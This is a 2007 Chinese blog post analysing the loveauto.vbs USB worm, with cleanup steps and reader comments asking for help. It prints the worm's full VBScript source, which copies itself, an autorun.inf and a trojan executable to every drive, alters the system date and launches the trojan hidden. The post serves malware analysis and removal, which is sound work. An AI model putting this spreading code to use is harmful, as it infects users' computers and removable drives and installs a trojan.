注册 | 登录 忘记密码? 51cto首页 | 博客 | 论坛 | 下载
热点文章 Linux 系统下双机HA的实现
 帮助

loveauto.vbs之U盘小毒``


2007-06-12 16:39:00
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://gudugengkekao.blog.51cto.com/172212/29747
汗汗的``VB写的``样本来至卡卡社区``
 
有点头疼,没相关经验的网友可能不会处理``
 
"病毒"4个文件组成:
 
loveauto.vbs  \\这个用来遍历释放Autorun.inf和栲贝自身,由WScript.exe激活。和修改日期等。
 
loveauto.reg  \\破坏“隐藏文件选项”的
 
loveauto.bat  \\附加这4个“病毒”属性的,为只读、隐藏、系统、存档
 
limt.exe  \\按病毒原码看会生成,不能验证。
 
 
 
没有运行病毒哈``按病毒原码分析的,看下解决方法:
 
首先打开任务管理器,如果有看到CMD进程的话先结束掉。
 
[url]http://free.ys168.com/?gudugengkekao[/url]下载PowerRMV显示隐藏文件.reg(注册表)。
 
运行,填入:
 
C:\loveauto.vbs
 
C:\loveauto.reg
 
C:\loveauto.bat
 
C:\limt.exe
 
C:\autorun.inf
 
有几个分区,把"C"改成相应的盘符就可以了.
 
例如:
 
D:\loveauto.vbs
 
D:\autorun.inf
 
选上抑止杀灭对象再次生成,然后杀灭,然后有个提示,确定就可以了。(找不到的忽略``)
 
按F3全盘查找,选上"包括隐藏文件",上面4个病毒名为关键字查找,有找到的话全部删除。
 
做完上面的,把注册表导入``如果系统日期被修改的话,自己手动改回来。
 
 
另:遇到盘打不开的,用PowerRMV填入:
 
C:\autorun.inf
D:\autorun.inf
E:\autorun.inf
F:\autorun.inf
 
一次一个,记得选上抑制对象生成,确定。
 
 
 
附上loveauto.vbs原码:
 
 
on error resume next
Set WshShell =CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
set Of = CreateObject("Scripting.FileSystemObject")
set dir = Of.GetSpecialFolder(1) '得到特殊目录dir
if WScript.ScriptFullName="C:\loveauto.vbs" or WScript.ScriptFullName="D:\loveauto.vbs" or
WScript.ScriptFullName="E:\loveauto.vbs" or WScript.ScriptFullName="F:\loveauto.vbs" or
WScript.ScriptFullName="G:\loveauto.vbs" or WScript.ScriptFullName="H:\loveauto.vbs" or
WScript.ScriptFullName="I:\loveauto.vbs" or WScript.ScriptFullName="J:\loveauto.vbs" or
WScript.ScriptFullName="K:\loveauto.vbs" or WScript.ScriptFullName="L:\loveauto.vbs" or
WScript.ScriptFullName="M:\loveauto.vbs" or WScript.ScriptFullName="N:\loveauto.vbs" or
WScript.ScriptFullName="O:\loveauto.vbs" or WScript.ScriptFullName="P:\loveauto.vbs" or
WScript.ScriptFullName="Q:\loveauto.vbs" or WScript.ScriptFullName="R:\loveauto.vbs" or
WScript.ScriptFullName="S:\loveauto.vbs" or WScript.ScriptFullName="T:\loveauto.vbs" or
WScript.ScriptFullName="U:\loveauto.vbs" or WScript.ScriptFullName="V:\loveauto.vbs" or
WScript.ScriptFullName="W:\loveauto.vbs" or WScript.ScriptFullName="X:\loveauto.vbs" or
WScript.ScriptFullName="Y:\loveauto.vbs" or WScript.ScriptFullName="Z:\loveauto.vbs" then
a=WshShell.Run("loveauto.bat open" ,0,False)
a=WshShell.Run("loveauto.bat ++ " ,0,True)

If objFSO.FileExists(dir&"\loveauto.vbs") Then '判断系统是否已经被感染
wscript.sleep 10
else
a=WshShell.Run("loveauto.bat - "&dir ,0,True)
a=WshShell.Run("loveauto.bat ++ " ,0,True)
Of.CopyFile "loveauto.bat",dir&"\",True '如果未被感染 则复制文件
Of.CopyFile "limt.exe",dir&"\",True
Of.CopyFile "autorun.inf",dir&"\",True
Of.CopyFile "loveauto.reg",dir&"\",True
Of.CopyFile "loveauto.vbs",dir&"\",True
a=WshShell.Run("loveauto.bat + "&dir ,0,True)
a=WshShell.Run("loveauto.bat date " ,0,True) '修改时间
WScript.Sleep 15000
a=WshShell.Run("limt.exe" ,0,False)  '运行木马
a=WshShell.Run("loveauto.bat hfd " ,0,False) '恢复时间
For i=1 to 2
Set dc = Of.Drives '得到所有驱动器
For Each d In dc '遍历所有盘符并复制自我
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("loveauto.bat - "&d ,0,True)
a=WshShell.Run("loveauto.bat ++ " ,0,True)
Of.CopyFile dir&"\loveauto.bat",d&"\",True
Of.CopyFile dir&"\limt.exe",d&"\",True
Of.CopyFile dir&"\autorun.inf",d&"\",True
Of.CopyFile dir&"\loveauto.reg",d&"\",True
Of.CopyFile dir&"\loveauto.vbs",d&"\",True
a=WshShell.Run("loveauto.bat + "&d ,0,True)
end if
wscript.sleep 2000
next
wscript.sleep 50000
i=0
next
end if
else
If objFSO.FileExists(dir&"\loveauto.vbs") Then
For i=1 to 2
Set dc = Of.Drives '得到所有驱动器
For Each d In dc '遍历所有盘符并复制自我
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("loveauto.bat - "&d ,0,True)
a=WshShell.Run("loveauto.bat ++ " ,0,True)
Of.CopyFile dir&"\loveauto.bat",d&"\",True
Of.CopyFile dir&"\limt.exe",d&"\",True
Of.CopyFile dir&"\autorun.inf",d&"\",True
Of.CopyFile dir&"\loveauto.reg",d&"\",True
Of.CopyFile dir&"\loveauto.vbs",d&"\",True
a=WshShell.Run("loveauto.bat + "&d ,0,True)
end if
wscript.sleep 2000
next
wscript.sleep 50000
i=0
next
else
a=WshShell.Run("loveauto.bat date " ,0,True) '修改时间
WScript.Sleep 15000
a=WshShell.Run("limt.exe" ,0,False)  '运行木马
a=WshShell.Run("loveauto.bat hfd " ,0,False) '恢复时间
a=WshShell.Run("loveauto.bat - "&dir ,0,True)
a=WshShell.Run("loveauto.bat ++ " ,0,True)
Of.CopyFile "loveauto.bat",dir&"\",True '如果未被感染 则复制文件
Of.CopyFile "limt.exe",dir&"\",True
Of.CopyFile "autorun.inf",dir&"\",True
Of.CopyFile "loveauto.reg",dir&"\",True
Of.CopyFile "loveauto.vbs",dir&"\",True
a=WshShell.Run("loveauto.bat + "&dir ,0,True)
For i=1 to 2
Set dc = Of.Drives '得到所有驱动器
For Each d In dc '遍历所有盘符并复制自我
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("loveauto.bat - "&d ,0,True)
a=WshShell.Run("loveauto.bat ++ " ,0,True)
Of.CopyFile "loveauto.bat",d&"\",True
Of.CopyFile "limt.exe",d&"\",True
Of.CopyFile "autorun.inf",d&"\",True
Of.CopyFile "loveauto.reg",d&"\",True
Of.CopyFile "loveauto.vbs",d&"\",True
a=WshShell.Run("loveauto.bat + "&d ,0,True)
end if
wscript.sleep 2000
next
wscript.sleep 50000
i=0
next
end if
end if
 
 
 
一些图:
 
 
 
 

本文出自 “孤独更可靠” 博客,请务必保留此出处http://gudugengkekao.blog.51cto.com/172212/29747



类别:不务正业``` 技术圈()阅读() ┆ 评论()推送到技术圈返回首页  


    文章评论
 <<   1   2   >>   页数 ( 1/2 )  
2007-06-12 21:32:25
  这是不是最近流行的U盘病毒呢?都上电视啦

2007-06-13 07:44:58
汗汗的``不是这个```

这个VB写的``貌似没什么危害``

2007-06-15 08:46:24
按搂主说的做了,貌似毒被杀了,但盘还是打不开,说“无法找到脚本文件D:\loveauto.vbs”大侠帮忙~~~~~~~555555

2007-06-15 09:38:01
哪个盘?

用PowerRMV,填入(一次一个):

C:\Autorun.inf

D:\Autorun.inf

E:\Autorun.inf

F:\Autorun.inf


2007-06-15 11:03:52
试过了~~~~找不到目标文件~~55555555
每个盘都打不开~~~~

2007-06-15 11:16:06
我的也是这样

2007-06-15 13:15:18
呵呵,限时抢qq呢

2007-06-15 14:25:01
大虾们,问题到底解决没

2007-06-15 14:48:35
你想知道什么?

`````

2007-06-15 15:08:27
大虾,盘可以打开了,但是出现有两个文件夹无法删除啊!一个是system volume nformation,一个是RECYCLER,这是什么问题啊

2007-06-15 15:15:31
QQ回复你了

呵呵~~

2007-06-17 09:54:14
我还是打不开盘啊~~说找不到loveauto

2007-06-17 09:57:26
哪个盘?

To:     [匿名]lxyin1985

用PowerRMV,填入(一次一个):

C:\Autorun.inf

D:\Autorun.inf

E:\Autorun.inf

F:\Autorun.inf


勾选抑制对象再次生成.

2007-06-17 10:09:11
每个盘都不行啊

2007-06-17 10:24:07
按照你说的方法好像还是不行~~找不到目标

2007-06-17 11:21:07
留个Q?

2007-06-17 13:17:52
94544851

2007-06-19 09:12:53
我的盘都打不开了。

2007-06-19 09:19:36
哪个盘?

用PowerRMV,填入(一次一个):

C:\Autorun.inf

D:\Autorun.inf

E:\Autorun.inf

F:\Autorun.inf

2007-06-19 09:45:48
都打不开啊。

 <<   1   2   >>   页数 ( 1/2 )  

发表评论

昵   称:
验证码:  点击图片可刷新验证码  博客过2级,无需填写验证码
内   容: